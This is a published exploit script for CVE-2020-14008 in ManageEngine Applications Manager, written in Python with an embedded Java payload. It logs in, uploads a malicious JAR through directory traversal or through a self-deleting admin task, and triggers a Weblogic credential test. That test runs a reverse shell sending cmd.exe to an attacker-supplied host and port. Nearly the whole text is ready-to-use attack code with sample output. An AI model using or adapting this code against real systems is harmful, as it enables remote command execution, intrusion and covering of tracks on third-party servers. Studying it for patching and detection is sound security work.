ManageEngine Applications Manager Authenticated Remote Code Execution

2020.09.05
Credit: Hodorsec
Risk: Low
Local: No
Remote: Yes
CWE: N/A

#!/usr/bin/python3 # Exploit Title: ManageEngine Applications Manager - Authenticated RCE via Java class reflection in Weblogic server test credential API # Google Dork: None # Date: 04-09-2020 # Exploit Author: Hodorsec # Vendor Homepage: https://manageengine.co.uk # Vendor Vulnerability Description: https://manageengine.co.uk/products/applications_manager/security-updates/security-updates-cve-2020-14008.html # Software Link: http://archives.manageengine.com/applications_manager/14720/ # Version: Until version 14720 # Tested on: version 12900 and version 14700 # CVE : CVE-2020-14008 # Summary: # POC for proving ability to execute malicious Java code in uploaded JAR file as an Oracle Weblogic library to connect to Weblogic servers # Exploits the newInstance() and loadClass() methods being used by the "WeblogicReference", when attempting a Credential Test for a new Monitor # When invoking the Credential Test, a call is being made to lookup a possibly existing "weblogic.jar" JAR file, using the "weblogic.jndi.Environment" class and method # Vulnerable code: # Lines 129 - 207 in com/adventnet/appmanager/server/wlogic/statuspoll/WeblogicReference.java # 129 /* */ public static MBeanServer lookupMBeanServer(String hostname, String portString, String username, String password, int version) throws Exception { # 130 /* 130 */ ClassLoader current = Thread.currentThread().getContextClassLoader(); # 131 /* */ try { # 132 /* 132 */ boolean setcredentials = false; # 133 /* 133 */ String url = "t3://" + hostname + ":" + portString; # 134 /* 134 */ JarLoader jarLoader = null; # 135 /* */ # ....<SNIP>.... # 143 /* */ } # 144 /* 144 */ else if (version == 8) # 145 /* */ { # 146 /* 146 */ if (new File("./../working/classes/weblogic/version8/weblogic.jar").exists()) # 147 /* */ { # 148 /* */ # 149 /* 149 */ jarLoader = new JarLoader("." + File.separator + ".." + File.separator + "working" + File.separator + "classes" + File.separator + "weblogic" + File.separator + "version8" + File.separator + "weblogic.jar"); # 150 /* */ # ....<SNIP>.... # 170 /* 170 */ Thread.currentThread().setContextClassLoader(jarLoader); # 171 /* 171 */ Class cls = jarLoader.loadClass("weblogic.jndi.Environment"); # 172 /* 172 */ Object env = cls.newInstance(); # Example call for MAM version 12900: # $ python3 poc_mam_weblogic_upload_and_exec_jar.py https://192.168.252.12:8443 admin admin weblogic.jar # [*] Visiting page to retrieve initial cookies... # [*] Retrieving admin cookie... # [*] Getting base directory of ManageEngine... # [*] Found base directory: C:\Program Files (x86)\ManageEngine\AppManager12 # [*] Creating JAR file... # Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true # Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true # added manifest # adding: weblogic/jndi/Environment.class(in = 1844) (out= 1079)(deflated 41%) # [*] Uploading JAR file... # [*] Attempting to upload JAR directly to targeted Weblogic folder... # [*] Copied successfully via Directory Traversal, jumping directly to call vulnerable function! # [*] Running the Weblogic credentialtest which triggers the code in the JAR... # [*] Check your shell... # Function flow: # 1. Get initial cookie # 2. Get valid session cookie by logging in # 3. Get base directory of installation # 4. Generate a malicious JAR file # 5. Attempt to directly upload JAR, if success, jump to 7 # 6. Create task with random ID to copy JAR file to expected Weblogic location # 7. Execute task # 8. Delete task for cleanup # 9. Run the vulnerable credentialTest, using the malicious JAR import requests import urllib3 import shutil import subprocess import os import sys import random import re from lxml import html # Optionally, use a proxy # proxy = "http://<user>:<pass>@<proxy>:<port>" proxy = "" os.environ['http_proxy'] = proxy os.environ['HTTP_PROXY'] = proxy os.environ['https_proxy'] = proxy os.environ['HTTPS_PROXY'] = proxy # Disable cert warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Set timeout timeout = 10 # Handle CTRL-C def keyboard_interrupt(): """Handles keyboardinterrupt exceptions""" print("\n\n[*] User requested an interrupt, exiting...") exit(0) # Custom headers def http_headers(): headers = { 'User-Agent': 'Mozilla', } return headers def get_initial_cookie(url,headers): print("[*] Visiting page to retrieve initial cookies...") target = url + "/index.do" r = requests.get(target,headers=headers,timeout=timeout,verify=False) return r.cookies def get_valid_cookie(url,headers,initial_cookies,usern,passw): print("[*] Retrieving admin cookie...") appl_cookie = "JSESSIONID_APM_9090" post_data = {'clienttype':'html', 'webstart':'', 'j_username':usern, 'ScreenWidth':'1280', 'ScreenHeight':'709', 'username':usern, 'j_password':passw, 'submit':'Login'} target = url + "/j_security_check" r = requests.post(target,data=post_data,headers=headers,cookies=initial_cookies,timeout=timeout,verify=False) res = r.text if "Server responded in " in res: return r.cookies else: print("[!] No valid response from used session, exiting!\n") exit(-1) def get_base_dir(url,headers,valid_cookie): print("[*] Getting base directory of ManageEngine...") target = url + "/common/serverinfo.do" params = {'service':'AppManager', 'reqForAdminLayout':'true'} r = requests.get(target,params=params,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False) tree = html.fromstring(r.content) pathname = tree.xpath('//table[@class="lrbtborder"]/tr[6]/td[2]/@title') base_dir = pathname[0] print("[*] Found base directory: " + base_dir) return base_dir def create_jar(command,jarname,revhost,revport): print("[*] Creating JAR file...") # Variables classname = "Environment" pkgname = "weblogic.jndi" fullname = pkgname + "." + classname manifest = "MANIFEST.MF" # Directory variables curdir = os.getcwd() metainf_dir = "META-INF" maindir = "weblogic" subdir = maindir + "/jndi" builddir = curdir + "/" + subdir # Check if directory exist, else create directory try: if os.path.isdir(builddir): pass else: os.makedirs(builddir) except OSError: print("[!] Error creating local directory \"" + builddir + "\", check permissions...") exit(-1) # Creating the text file using given parameters javafile = '''package ''' + pkgname + '''; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; import java.util.concurrent.TimeUnit; public class ''' + classname + ''' { // This method is being called by lookupMBeanServer() in com/adventnet/appmanager/server/wlogic/statuspoll/WeblogicReference.java // Uses the jarLoader.loadClass() method to load and initiate a new instance via newInstance() public void setProviderUrl(String string) throws Exception { System.out.println("Hello from setProviderUrl()"); connect(); } // Normal main() entry public static void main(String args[]) throws Exception { System.out.println("Hello from main()"); // Added delay to notice being called from main() TimeUnit.SECONDS.sleep(10); connect(); } // Where the magic happens public static void connect() throws Exception { String host = "''' + revhost + '''"; int port = ''' + str(revport) + '''; String[] cmd = {"''' + command + '''"}; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream(); while(!s.isClosed()) { while(pi.available()>0) so.write(pi.read()); while(pe.available()>0) so.write(pe.read()); while(si.available()>0) po.write(si.read()); so.flush(); po.flush(); try { p.exitValue(); break; } catch (Exception e){ } }; p.destroy(); s.close(); } }''' # Output file to desired directory os.chdir(builddir) print(javafile,file=open(classname + ".java","w")) # Go to previous directory to create JAR file os.chdir(curdir) # Create the compiled .class file cmdCompile = "javac --release 7 " + subdir + "/*.java" process = subprocess.call(cmdCompile,shell=True) # Creating Manifest file try: if os.path.isdir(metainf_dir): pass else: os.makedirs(metainf_dir) except OSError: print("[!] Error creating local directory \"" + metainf_dir + "\", check permissions...") exit(-1) print("Main-Class: " + fullname,file=open(metainf_dir + "/" + manifest,"w")) # Create JAR file cmdJar = "jar cmvf " + metainf_dir + "/" + manifest + " " + jarname + " " + subdir + "/*.class" process = subprocess.call(cmdJar,shell=True) # Cleanup directories try: shutil.rmtree(metainf_dir) shutil.rmtree(maindir) except: print("[!] Error while cleaning up directories.") return True def upload_jar(url,headers,valid_cookie,jarname,rel_path): print("[*] Uploading JAR file...") target = url + "/Upload.do" path_normal = './' path_trav = rel_path jar = {'theFile':(jarname,open(jarname, 'rb'))} print("[*] Attempting to upload JAR directly to targeted Weblogic folder...") post_data = {'uploadDir':path_trav} r_upload = requests.post(target, data=post_data, headers=headers, files=jar, cookies=valid_cookie, timeout=timeout,verify=False) res = r_upload.text if "successfully uploaded" not in res: print("[!] Failed to upload JAR directly, continue to add and execute job to move JAR...") post_data = {'uploadDir':path_normal} jar = {'theFile':(jarname,open(jarname, 'rb'))} r_upload = requests.post(target, data=post_data, headers=headers, files=jar, cookies=valid_cookie, timeout=timeout,verify=False) return "normal_path" else: print("[*] Copied successfully via Directory Traversal, jumping directly to call vulnerable function!") return "trav_path" def create_task(url,headers,valid_cookie,action_name,rel_path,work_dir): print("[*] Creating a task to move the JAR file to relative path: " + rel_path + "...") valid_resp = "Execute Program succesfully created." target = url + "/adminAction.do" post_data = {'actions':'/adminAction.do?method=showExecProgAction&haid=null', 'method':'createExecProgAction', 'id':'0', 'displayname':action_name, 'serversite':'local', 'choosehost':'-2', 'prompt':'$', 'command':'move weblogic.jar ' + rel_path, 'execProgExecDir':work_dir, 'abortafter':'10', 'cancel':'false'} r = requests.post(target,data=post_data,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False) res = r.text found_id = "" if action_name in res: tree = html.fromstring(r.content) actionurls = tree.xpath('//table[@id="executeProgramActionTable"]/tr[@class="actionsheader"]/td[2]/a/@onclick') actionnames = tree.xpath('//table[@id="executeProgramActionTable"]/tr[@class="actionsheader"]/td[2]/a/text()') i = 0 for name in actionnames: for url in actionurls: if action_name in name: found_id = re.search(".*actionid=(.+?)','", actionurls[i]).group(1) print("[*] Found actionname: " + action_name + " with found actionid " + found_id) break i+=1 return found_id else: print("[!] Actionname not found. Task probably wasn't created, please check. Exiting.") exit(-1) def exec_task(url,headers,valid_cookie,found_id): print("[*] Executing created task with id: " + found_id + " to copy JAR...") valid_resp = "has been successfully executed" target = url + "/common/executeScript.do" params = {'method':'testAction', 'actionID':found_id, 'haid':'null'} r = requests.get(target,params=params,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False) res = r.text if valid_resp in res: print("[*] Task " + found_id + " has been executed successfully") else: print("[!] Task not executed. Check requests, exiting...") exit(-1) return def del_task(url,headers,valid_cookie,found_id): print("[*] Deleting created task as JAR has been copied...") target = url + "/adminAction.do" params = {'method':'deleteProgExecAction'} post_data = {'haid':'null', 'headercheckbox':'on', 'progcheckbox':found_id} r = requests.post(target,params=params,data=post_data,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False) def run_credtest(url,headers,valid_cookie): print("[*] Running the Weblogic credentialtest which triggers the code in the JAR...") target = url + "/testCredential.do" post_data = {'method':'testCredentialForConfMonitors', 'serializedData':'url=/jsp/newConfType.jsp', 'searchOptionValue':'', 'query':'', 'addtoha':'null', 'resourceid':'', 'montype':'WEBLOGIC:7001', 'isAgentEnabled':'NO', 'resourcename':'null', 'isAgentAssociated':'false', 'hideFieldsForIT360':'null', 'childNodesForWDM':'[]', 'csrfParam':'', 'type':'WEBLOGIC:7001', 'displayname':'test', 'host':'localhost', 'netmask':'255.255.255.0', 'resolveDNS':'False', 'port':'7001', 'CredentialDetails':'nocm', 'cmValue':'-1', 'version':'WLS_8_1', 'sslenabled':'False', 'username':'test', 'password':'test', 'pollinterval':'5', 'groupname':''} print("[*] Check your shell...") requests.post(target,data=post_data,headers=headers,cookies=valid_cookie,verify=False) return # Main def main(argv): if len(sys.argv) == 6: url = sys.argv[1] usern = sys.argv[2] passw = sys.argv[3] revhost = sys.argv[4] revport = sys.argv[5] else: print("[*] Usage: " + sys.argv[0] + " <url> <username> <password> <reverse_shell_host> <reverse_shell_port>") print("[*] Example: " + sys.argv[0] + " https://192.168.252.12:8443 admin admin 192.168.252.14 6666\n") exit(0) # Do stuff try: # Set HTTP headers headers = http_headers() # Relative path to copy the malicious JAR file rel_path = "classes/weblogic/version8/" # Generate a random ID to use for the task name and task tracking random_id = str(random.randrange(0000,9999)) # Action_name used for displaying actions in overview action_name = "move_weblogic_jar" + random_id # Working dir to append to base dir base_append = "\\working\\" # Name for JAR file to use jarname = "weblogic.jar" # Command shell to use cmd = "cmd.exe" # Execute functions initial_cookies = get_initial_cookie(url,headers) valid_cookie = get_valid_cookie(url,headers,initial_cookies,usern,passw) work_dir = get_base_dir(url,headers,valid_cookie) + base_append create_jar(cmd,jarname,revhost,revport) status_jar = upload_jar(url,headers,valid_cookie,jarname,rel_path) # Check if JAR can be uploaded via Directory Traversal # If so, no need to add and exec actions; just run the credentialtest directly if status_jar == "trav_path": run_credtest(url,headers,valid_cookie) # Cannot be uploaded via Directory Traversal, add and exec actions to move JAR. Lastly, run the vulnerable credentialtest elif status_jar == "normal_path": found_id = create_task(url,headers,valid_cookie,action_name,rel_path,work_dir) exec_task(url,headers,valid_cookie,found_id) del_task(url,headers,valid_cookie,found_id) run_credtest(url,headers,valid_cookie) except requests.exceptions.Timeout: print("[!] Timeout error\n") exit(-1) except requests.exceptions.TooManyRedirects: print("[!] Too many redirects\n") exit(-1) except requests.exceptions.ConnectionError: print("[!] Not able to connect to URL\n") exit(-1) except requests.exceptions.RequestException as e: print("[!] " + e) exit(-1) except requests.exceptions.HTTPError as e: print("[!] Failed with error code - " + e.code + "\n") exit(-1) except KeyboardInterrupt: keyboard_interrupt() # If we were called as a program, go execute the main function. if __name__ == "__main__": main(sys.argv[1:])


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